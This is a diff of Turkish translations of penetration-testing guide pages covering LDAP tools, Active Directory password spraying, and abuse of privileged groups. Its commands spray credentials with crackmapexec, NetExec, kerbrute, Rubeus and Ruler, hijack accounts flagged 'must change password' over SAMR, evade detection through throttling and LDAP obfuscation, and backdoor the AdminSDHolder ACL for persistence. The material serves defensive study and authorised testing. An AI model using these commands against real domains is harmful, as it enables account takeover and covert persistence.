### Godap
|
### Godap
|
||||||
|
|
||||||
Godap, AD ve diğer LDAP sunucularındaki nesneler ve niteliklerle etkileşimde bulunmak için kullanılabilen etkileşimli bir terminal kullanıcı arayüzüdür. Windows, Linux ve MacOS için mevcuttur ve basit bağlamalar, pass-the-hash, pass-the-ticket ve pass-the-cert gibi yöntemlerin yanı sıra nesneleri arama/oluşturma/değiştirme/silme, gruplardan kullanıcı ekleme/çıkarma, şifre değiştirme, nesne izinlerini (DACL'ler) düzenleme, Active-Directory Entegre DNS (ADIDNS) değiştirme, JSON dosyalarına aktarma gibi birkaç özel özelliği destekler.
|
Godap, LDAP için etkileşimli bir terminal kullanıcı arayüzüdür ve AD ile diğer LDAP sunucularındaki nesneler ve özniteliklerle etkileşim kurmak için kullanılabilir. Windows, Linux ve MacOS için mevcuttur ve simple binds, pass-the-hash, pass-the-ticket & pass-the-cert destekler; ayrıca nesne arama/oluşturma/değiştirme/silme, gruplara kullanıcı ekleme/çıkarma, şifre değiştirme, nesne izinlerini düzenleme (DACLs), Active-Directory Integrated DNS (ADIDNS) değiştirme, JSON dosyalarına aktarma gibi çeşitli özel özellikler sunar.
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
Buna [https://github.com/Macmod/godap](https://github.com/Macmod/godap) adresinden erişebilirsiniz. Kullanım örnekleri ve talimatlar için [Wiki'yi](https://github.com/Macmod/godap/wiki) okuyun.
|
Şuradan erişebilirsiniz: [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Kullanım örnekleri ve talimatlar için [Wiki](https://github.com/Macmod/godap/wiki)'yi okuyun.
|
||||||
|
|
||||||
### Ldapx
|
### Ldapx
|
||||||
|
|
||||||
Ldapx, diğer araçlardan LDAP trafiğini incelemek ve dönüştürmek için kullanılabilen esnek bir LDAP proxy'sidir. Kimlik koruma ve LDAP izleme araçlarını aşmaya çalışmak için LDAP trafiğini obfuscate etmekte kullanılabilir ve [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) konuşmasında sunulan yöntemlerin çoğunu uygulamaktadır.
|
Ldapx, diğer araçlardan gelen LDAP trafiğini incelemek ve dönüştürmek için kullanılabilen esnek bir LDAP proxy'sidir. LDAP trafiğini obfuskasyon yapmak için kullanılarak identity protection ve LDAP monitoring araçlarını atlatmayı denemek amacıyla kullanılabilir ve [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) konuşmasında sunulan yöntemlerin çoğunu uygular.
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
Bunu [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx) adresinden edinebilirsiniz.
|
Şuradan edinebilirsiniz: [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx).
|
||||||
|
|
||||||
## Kerberos ile Kimlik Doğrulama
|
## kerberos ile kimlik doğrulama
|
||||||
|
|
||||||
`ldapsearch` kullanarak **NTLM** yerine **kerberos** ile **kimlik doğrulaması** yapabilirsiniz; bunun için `-Y GSSAPI` parametresini kullanın.
|
`ldapsearch` kullanarak `-Y GSSAPI` parametresini belirterek **NTLM** yerine **kerberos** ile **kimlik doğrulaması** yapabilirsiniz.
|
||||||
|
|
||||||
## POST
|
## POST
|
||||||
|
|
||||||
Veritabanlarının bulunduğu dosyalara erişiminiz varsa (bu _/var/lib/ldap_ içinde olabilir). Hash'leri çıkarmak için:
|
Eğer veritabanlarının bulunduğu dosyalara erişebiliyorsanız (örneğin _/var/lib/ldap_), hash'leri şu şekilde çıkarabilirsiniz:
|
||||||
```bash
|
```bash
|
||||||
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
||||||
```
|
```
|
||||||
John'a şifre hash'ini ('{SSHA}'dan 'structural'a 'structural' eklemeden) verebilirsiniz.
|
Parola hash'ini john'a verebilirsiniz ('{SSHA}' ile 'structural' arasındaki kısmı, 'structural' eklemeden).
|
||||||
|
|
||||||
### Yapılandırma Dosyaları
|
### Yapılandırma Dosyaları
|
||||||
|
|
||||||
@ -378,4 +403,10 @@ Entry_7:
|
|||||||
Name: Netexec LDAP BloodHound
|
Name: Netexec LDAP BloodHound
|
||||||
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
|
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
|
||||||
```
|
```
|
||||||
|
## Referanslar
|
||||||
|
|
||||||
|
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
|
||||||
|
- [NetExec (CME successor)](https://github.com/Pennyw0rth/NetExec)
|
||||||
|
- [Microsoft: Anonymous LDAP operations to Active Directory are disabled](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
@ -5,16 +5,16 @@
|
|||||||
|
|
||||||
## **Password Spraying**
|
## **Password Spraying**
|
||||||
|
|
||||||
Birkaç **geçerli kullanıcı adı** bulduktan sonra keşfettiğiniz her kullanıcı için en **yaygın parolaları** deneyebilirsiniz (ortamın parola politikasını göz önünde bulundurun).\
|
Birkaç **geçerli kullanıcı adı** bulduktan sonra, keşfettiğiniz her kullanıcı için en yaygın **parolaları** deneyebilirsiniz (ortamın parola politikasını göz önünde bulundurun).\
|
||||||
**Varsayılan** **minimum** **parola** **uzunluğu** **7**'dir.
|
**Varsayılan** olarak **minimum** **parola** **uzunluğu** **7**'dir.
|
||||||
|
|
||||||
Yaygın kullanıcı adları listeleri de faydalı olabilir: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||||
|
|
||||||
Dikkat: **birden fazla yanlış parola denerseniz bazı hesapları kilitleyebilirsiniz** (varsayılan olarak 10'dan fazla).
|
Unutmayın ki **birden fazla yanlış parola denerseniz bazı hesapları kilitleyebilirsiniz** (varsayılan olarak 10'dan fazla).
|
||||||
|
|
||||||
### Parola politikasını öğrenme
|
### Parola politikası edinme
|
||||||
|
|
||||||
Eğer bazı kullanıcı kimlik bilgilerine veya domain kullanıcısı olarak bir shell'e sahipseniz, **parola politikasını şu şekilde alabilirsiniz**:
|
Eğer bazı kullanıcı kimlik bilgilerine veya domain kullanıcısı olarak bir shell'e sahipseniz, parola politikasını **şu komutla alabilirsiniz**:
|
||||||
```bash
|
```bash
|
||||||
# From Linux
|
# From Linux
|
||||||
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
||||||
@ -31,16 +31,31 @@ net accounts
|
|||||||
|
|
||||||
(Get-DomainPolicy)."SystemAccess" #From powerview
|
(Get-DomainPolicy)."SystemAccess" #From powerview
|
||||||
```
|
```
|
||||||
### Linux (veya tüm platformlar) üzerinden istismar
|
### Exploitation — Linux'ten (veya tüm)
|
||||||
|
|
||||||
- **crackmapexec** kullanarak:
|
- Kullanarak **crackmapexec:**
|
||||||
```bash
|
```bash
|
||||||
crackmapexec smb <IP> -u users.txt -p passwords.txt
|
crackmapexec smb <IP> -u users.txt -p passwords.txt
|
||||||
# Local Auth Spray (once you found some local admin pass or hash)
|
# Local Auth Spray (once you found some local admin pass or hash)
|
||||||
## --local-auth flag indicate to only try 1 time per machine
|
## --local-auth flag indicate to only try 1 time per machine
|
||||||
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
||||||
```
|
```
|
||||||
- [**kerbrute**](https://github.com/ropnop/kerbrute) kullanımı (Go)
|
- **NetExec (CME successor)** kullanarak SMB/WinRM genelinde hedeflenmiş, düşük gürültülü spraying için:
|
||||||
|
```bash
|
||||||
|
# Optional: generate a hosts entry to ensure Kerberos FQDN resolution
|
||||||
|
netexec smb <DC_IP> --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts
|
||||||
|
|
||||||
|
# Spray a single candidate password against harvested users over SMB
|
||||||
|
netexec smb <DC_FQDN> -u users.txt -p 'Password123!' \
|
||||||
|
--continue-on-success --no-bruteforce --shares
|
||||||
|
|
||||||
|
# Validate a hit over WinRM (or use SMB exec methods)
|
||||||
|
netexec winrm <DC_FQDN> -u <username> -p 'Password123!' -x "whoami"
|
||||||
|
|
||||||
|
# Tip: sync your clock before Kerberos-based auth to avoid skew issues
|
||||||
|
sudo ntpdate <DC_FQDN>
|
||||||
|
```
|
||||||
|
- [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) kullanarak
|
||||||
```bash
|
```bash
|
||||||
# Password Spraying
|
# Password Spraying
|
||||||
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
|
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
|
||||||
@ -51,7 +66,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
|||||||
```bash
|
```bash
|
||||||
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
||||||
```
|
```
|
||||||
- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) kullanımı (python) - TAVSİYE EDİLMEZ - BAZEN ÇALIŞMAYABİLİR
|
- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) kullanımı - TAVSİYE EDİLMEZ, BAZEN ÇALIŞMAYABİLİR
|
||||||
```bash
|
```bash
|
||||||
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
||||||
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
||||||
@ -60,7 +75,7 @@ python kerbrute.py -domain jurassic.park -users users.txt -password Password123
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
- **rpcclient** kullanılarak:
|
- **rpcclient** kullanarak:
|
||||||
```bash
|
```bash
|
||||||
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
|
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
|
||||||
for u in $(cat users.txt); do
|
for u in $(cat users.txt); do
|
||||||
@ -69,7 +84,7 @@ done
|
|||||||
```
|
```
|
||||||
#### Windows'tan
|
#### Windows'tan
|
||||||
|
|
||||||
- Brute module içeren [Rubeus](https://github.com/Zer1t0/Rubeus) sürümü ile:
|
- brute module içeren [Rubeus](https://github.com/Zer1t0/Rubeus) sürümü ile:
|
||||||
```bash
|
```bash
|
||||||
# with a list of users
|
# with a list of users
|
||||||
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
||||||
@ -77,20 +92,20 @@ done
|
|||||||
# check passwords for all users in current domain
|
# check passwords for all users in current domain
|
||||||
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
||||||
```
|
```
|
||||||
- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) ile (Varsayılan olarak domain'den kullanıcılar oluşturabilir ve parola politikasını domain'den alır ve deneme sayılarını buna göre sınırlar):
|
- Invoke-DomainPasswordSpray ile [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Varsayılan olarak alan içinden kullanıcılar oluşturabilir ve parola politikasını alandan alır, buna göre denemeleri sınırlar):
|
||||||
```bash
|
```bash
|
||||||
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||||
```
|
```
|
||||||
- Kullanarak [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
|
- ile [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
|
||||||
```
|
```
|
||||||
Invoke-SprayEmptyPassword
|
Invoke-SprayEmptyPassword
|
||||||
```
|
```
|
||||||
### "Password must change at next logon" Hesaplarını Tespit Etme ve Ele Geçirme (SAMR)
|
### "Password must change at next logon" Hesaplarını Belirleme ve Ele Geçirme (SAMR)
|
||||||
|
|
||||||
Düşük gürültülü bir teknik, zararsız/boş bir password spray yapıp STATUS_PASSWORD_MUST_CHANGE döndüren hesapları yakalamaktır; bu, parolanın zorla geçersiz kılındığını ve eski parolayı bilmeden değiştirilebileceğini gösterir.
|
Düşük gürültülü bir teknik, zararsız/boş bir parola denemesi yapıp STATUS_PASSWORD_MUST_CHANGE döndüren hesapları yakalamaktır; bu, parolanın zorla süresinin dolduğunu ve eski parolayı bilmeden değiştirilebileceğini gösterir.
|
||||||
|
|
||||||
İş akışı:
|
İş akışı:
|
||||||
- Kullanıcıları enumerate ederek (RID brute via SAMR) hedef listesini oluşturun:
|
- Hedef listesini oluşturmak için kullanıcıları listeleyin (RID brute via SAMR):
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
|
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
|
||||||
@ -99,12 +114,12 @@ Düşük gürültülü bir teknik, zararsız/boş bir password spray yapıp STAT
|
|||||||
# NetExec (null/guest) + RID brute to harvest users
|
# NetExec (null/guest) + RID brute to harvest users
|
||||||
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
|
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
|
||||||
```
|
```
|
||||||
- Spray boş bir password deneyin ve hits'lerde devam ederek next logon'da parola değiştirmek zorunda olan hesapları ele geçirin:
|
- Boş bir password ile spray yapın ve başarılı denemelerde devam edin; böylece "must change at next logon" olan hesapları yakalayabilirsiniz:
|
||||||
```bash
|
```bash
|
||||||
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
|
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
|
||||||
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
|
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
|
||||||
```
|
```
|
||||||
- Her başarılı eşleşme için, SAMR üzerinden NetExec’in modülüyle parolayı değiştirin ("must change" ayarlı olduğunda eski parola gerekmez):
|
- Her isabet için, SAMR üzerinden NetExec'in modülü ile parolayı değiştirin ("must change" ayarı etkinse eski parola gerekmez):
|
||||||
```bash
|
```bash
|
||||||
# Strong complexity to satisfy policy
|
# Strong complexity to satisfy policy
|
||||||
env NEWPASS='P@ssw0rd!2025#' ; \
|
env NEWPASS='P@ssw0rd!2025#' ; \
|
||||||
@ -114,26 +129,26 @@ netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
|
|||||||
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
|
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
|
||||||
```
|
```
|
||||||
Operasyonel notlar:
|
Operasyonel notlar:
|
||||||
- Kerberos tabanlı işlemlerden önce host saatinin DC ile senkronize olduğundan emin olun: `sudo ntpdate <dc_fqdn>`.
|
- Kerberos tabanlı işlemlerden önce host saatinizin DC ile senkronize olduğundan emin olun: `sudo ntpdate <dc_fqdn>`.
|
||||||
- Bazı modüllerde (ör. RDP/WinRM) (Pwn3d!) olmayan bir [+], creds'in geçerli olduğunu ancak hesabın etkileşimli oturum açma haklarına sahip olmadığını gösterir.
|
- Bazı modüllerde (örn. RDP/WinRM) (Pwn3d!) olmadan görülen [+], creds'in geçerli olduğunu ancak hesabın etkileşimli oturum açma haklarına sahip olmadığını gösterir.
|
||||||
|
|
||||||
## Brute Force
|
## Brute Force
|
||||||
```bash
|
```bash
|
||||||
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
|
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
|
||||||
```
|
```
|
||||||
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
|
### Kerberos pre-auth spraying ile LDAP hedefleme ve PSO farkındalıklı sınırlama (SpearSpray)
|
||||||
|
|
||||||
Kerberos pre-auth–based spraying, SMB/NTLM/LDAP bind attempts'e kıyasla gürültüyü azaltır ve AD lockout policies ile daha iyi uyum sağlar. SpearSpray, LDAP-driven targeting, bir pattern engine ve policy awareness (domain policy + PSOs + badPwdCount buffer) ile hassas ve güvenli bir şekilde spray yapar. Ayrıca ele geçirilmiş principal'ları BloodHound pathing için Neo4j'de etiketleyebilir.
|
Kerberos pre-auth–tabanlı spraying, SMB/NTLM/LDAP bind denemelerine göre gürültüyü azaltır ve AD hesap kilitleme politikalarıyla daha iyi uyum sağlar. SpearSpray, LDAP kaynaklı hedefleme, bir desen motoru ve politika farkındalığını (domain policy + PSOs + badPwdCount buffer) birleştirerek hassas ve güvenli bir şekilde spray yapar. Ayrıca ele geçirilmiş principals'ları Neo4j'de işaretleyerek BloodHound yol bulmayı destekleyebilir.
|
||||||
|
|
||||||
Key ideas:
|
Temel fikirler:
|
||||||
- LDAP kullanıcı keşfi (sayfalandırma ve LDAPS desteği), isteğe bağlı olarak özel LDAP filtreleri kullanılarak.
|
- Sayfalama ve LDAPS desteğiyle LDAP kullanıcı keşfi; isteğe bağlı olarak özel LDAP filtreleri kullanma.
|
||||||
- Domain lockout policy + PSO-aware filtreleme ile yapılandırılabilir bir deneme tamponu (threshold) bırakılarak kullanıcıların kilitlenmesinin önlenmesi.
|
- Kullanıcıların kilitlenmesini önlemek amacıyla ayarlanabilir deneme tamponu (eşik) bırakacak şekilde domain lockout policy + PSO farkındalıklı filtreleme.
|
||||||
- Hızlı gssapi bindings kullanarak Kerberos pre-auth doğrulaması (DC'lerde 4625 yerine 4768/4771 oluşturur).
|
- Hızlı gssapi binding'leri kullanarak Kerberos pre-auth doğrulaması (DC'lerde 4625 yerine 4768/4771 üretir).
|
||||||
- Pattern-based, kullanıcı başına parola oluşturma; isimler ve her kullanıcının pwdLastSet'inden türetilen zaman değerleri gibi değişkenleri kullanır.
|
- İsimler ve her kullanıcının pwdLastSet değerinden türetilen zamansal değerler gibi değişkenleri kullanan desen tabanlı, kullanıcı başına parola üretimi.
|
||||||
- İşlem hacmi kontrolü: iş parçacıkları (threads), jitter ve saniye başına maksimum istek ile.
|
- İş parçacıkları, jitter ve saniye başına maksimum istek ile throughput kontrolü.
|
||||||
- İsteğe bağlı Neo4j entegrasyonu ile ele geçirilmiş kullanıcıları BloodHound için işaretleme.
|
- Ele geçirilmiş kullanıcıları BloodHound için işaretlemek üzere isteğe bağlı Neo4j entegrasyonu.
|
||||||
|
|
||||||
Basic usage and discovery:
|
Temel kullanım ve keşif:
|
||||||
```bash
|
```bash
|
||||||
# List available pattern variables
|
# List available pattern variables
|
||||||
spearspray -l
|
spearspray -l
|
||||||
@ -174,29 +189,29 @@ Desen sistemi genel bakışı (patterns.txt):
|
|||||||
{samaccountname}
|
{samaccountname}
|
||||||
{extra}{separator}{year}{suffix}
|
{extra}{separator}{year}{suffix}
|
||||||
```
|
```
|
||||||
Kullanılabilir değişkenler şunlardır:
|
Available variables include:
|
||||||
- {name}, {samaccountname}
|
- {name}, {samaccountname}
|
||||||
- Her kullanıcının pwdLastSet (veya whenCreated) değerinden zamanla ilgili: {year}, {short_year}, {month_number}, {month_en}, {season_en}
|
- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
|
||||||
- Bileşim yardımcıları ve organizasyon tokeni: {separator}, {suffix}, {extra}
|
- Composition helpers and org token: {separator}, {suffix}, {extra}
|
||||||
|
|
||||||
Operasyonel notlar:
|
Operational notes:
|
||||||
- En yetkili badPwdCount ve politika ile ilgili bilgileri okumak için -dc ile PDC-emulator sorgulamayı tercih edin.
|
- Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info.
|
||||||
- badPwdCount sıfırlamaları gözlem penceresinden sonraki bir sonraki denemede tetiklenir; güvende kalmak için eşik ve zamanlamayı kullanın.
|
- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe.
|
||||||
- Kerberos pre-auth denemeleri DC telemetrilerinde 4768/4771 olarak görünür; karışmak için jitter ve rate-limiting kullanın.
|
- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in.
|
||||||
|
|
||||||
> İpucu: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
|
> Tip: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
|
||||||
|
|
||||||
## Outlook Web Access
|
## Outlook Web Access
|
||||||
|
|
||||||
p**assword spraying outlook** için birden fazla araç vardır.
|
Outlook için p**assword spraying outlook** gerçekleştirebilecek birden fazla araç vardır.
|
||||||
|
|
||||||
- İle [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
|
- [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) ile
|
||||||
- İle [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
|
- [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) ile
|
||||||
- İle [Ruler](https://github.com/sensepost/ruler) (güvenilir!)
|
- [Ruler](https://github.com/sensepost/ruler) (güvenilir!)
|
||||||
- İle [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
- [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
||||||
- İle [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
- [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
||||||
|
|
||||||
Bu araçların herhangi birini kullanmak için bir kullanıcı listesine ve bir parola ya da küçük bir parola listesine ihtiyacınız vardır.
|
Bu araçların herhangi birini kullanmak için bir kullanıcı listesine ve password spraying yapmak için bir şifre veya küçük bir şifre listesine ihtiyacınız vardır.
|
||||||
```bash
|
```bash
|
||||||
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
||||||
[x] Failed: larsson:Summer2020
|
[x] Failed: larsson:Summer2020
|
||||||
@ -215,7 +230,7 @@ Bu araçların herhangi birini kullanmak için bir kullanıcı listesine ve bir
|
|||||||
- [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
|
- [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
|
||||||
- [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
|
- [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
|
||||||
|
|
||||||
## Kaynaklar
|
## Referanslar
|
||||||
|
|
||||||
- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
|
- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
|
||||||
- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
|
- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
|
||||||
@ -227,6 +242,7 @@ Bu araçların herhangi birini kullanmak için bir kullanıcı listesine ve bir
|
|||||||
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
|
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
|
||||||
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
|
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
|
||||||
- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
|
- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
|
||||||
|
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -2,90 +2,90 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Yönetim ayrıcalıklarına sahip Bilinen Gruplar
|
## Well Known groups with administration privileges
|
||||||
|
|
||||||
- **Yönetici**
|
- **Administrators**
|
||||||
- **Alan Yöneticileri**
|
- **Domain Admins**
|
||||||
- **Kuruluş Yöneticileri**
|
- **Enterprise Admins**
|
||||||
|
|
||||||
## Hesap Operatörleri
|
## Account Operators
|
||||||
|
|
||||||
Bu grup, alan üzerindeki yönetici olmayan hesaplar ve gruplar oluşturma yetkisine sahiptir. Ayrıca, Alan Denetleyicisi'ne (DC) yerel giriş yapmayı sağlar.
|
Bu grup, domain üzerinde yönetici olmayan hesaplar ve gruplar oluşturma yetkisine sahiptir. Ek olarak, Domain Controller (DC) üzerinde yerel oturum açmaya olanak verir.
|
||||||
|
|
||||||
Bu grubun üyelerini tanımlamak için aşağıdaki komut çalıştırılır:
|
Bu grubun üyelerini belirlemek için aşağıdaki komut çalıştırılır:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "Account Operators" -Recurse
|
Get-NetGroupMember -Identity "Account Operators" -Recurse
|
||||||
```
|
```
|
||||||
Yeni kullanıcı eklemek ve DC01'e yerel giriş yapmak izinlidir.
|
Yeni kullanıcı eklenmesine ve DC'ye yerel oturum açılmasına izin verilmektedir.
|
||||||
|
|
||||||
## AdminSDHolder grubu
|
## AdminSDHolder grubu
|
||||||
|
|
||||||
**AdminSDHolder** grubunun Erişim Kontrol Listesi (ACL), Active Directory içindeki tüm "korunan gruplar" için izinleri belirlediğinden kritik öneme sahiptir; bu gruplar arasında yüksek ayrıcalıklı gruplar da bulunmaktadır. Bu mekanizma, yetkisiz değişiklikleri önleyerek bu grupların güvenliğini sağlar.
|
**AdminSDHolder** grubunun Erişim Kontrol Listesi (ACL) çok önemlidir çünkü Active Directory içindeki tüm "korumalı gruplar" için izinleri belirler; buna yüksek ayrıcalıklı gruplar da dahildir. Bu mekanizma, yetkisiz değişiklikleri engelleyerek bu grupların güvenliğini sağlar.
|
||||||
|
|
||||||
Bir saldırgan, **AdminSDHolder** grubunun ACL'sini değiştirerek standart bir kullanıcıya tam izinler verebilir. Bu, o kullanıcıya tüm korunan gruplar üzerinde tam kontrol sağlamış olur. Eğer bu kullanıcının izinleri değiştirilir veya kaldırılırsa, sistemin tasarımı gereği bir saat içinde otomatik olarak geri yüklenir.
|
Bir saldırgan, **AdminSDHolder** grubunun ACL'sini değiştirerek standart bir kullanıcıya tam izinler verebilir. Bu, söz konusu kullanıcıya tüm korumalı gruplar üzerinde fiilen tam kontrol sağlar. Bu kullanıcının izinleri değiştirilse veya kaldırılırsa, sistem tasarımından dolayı yaklaşık bir saat içinde otomatik olarak geri yüklenir.
|
||||||
|
|
||||||
Üyeleri gözden geçirmek ve izinleri değiştirmek için kullanılacak komutlar şunlardır:
|
Üyeleri gözden geçirmek ve izinleri değiştirmek için kullanılabilecek komutlar şunlardır:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
|
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
|
||||||
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
|
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
|
||||||
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
|
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
|
||||||
```
|
```
|
||||||
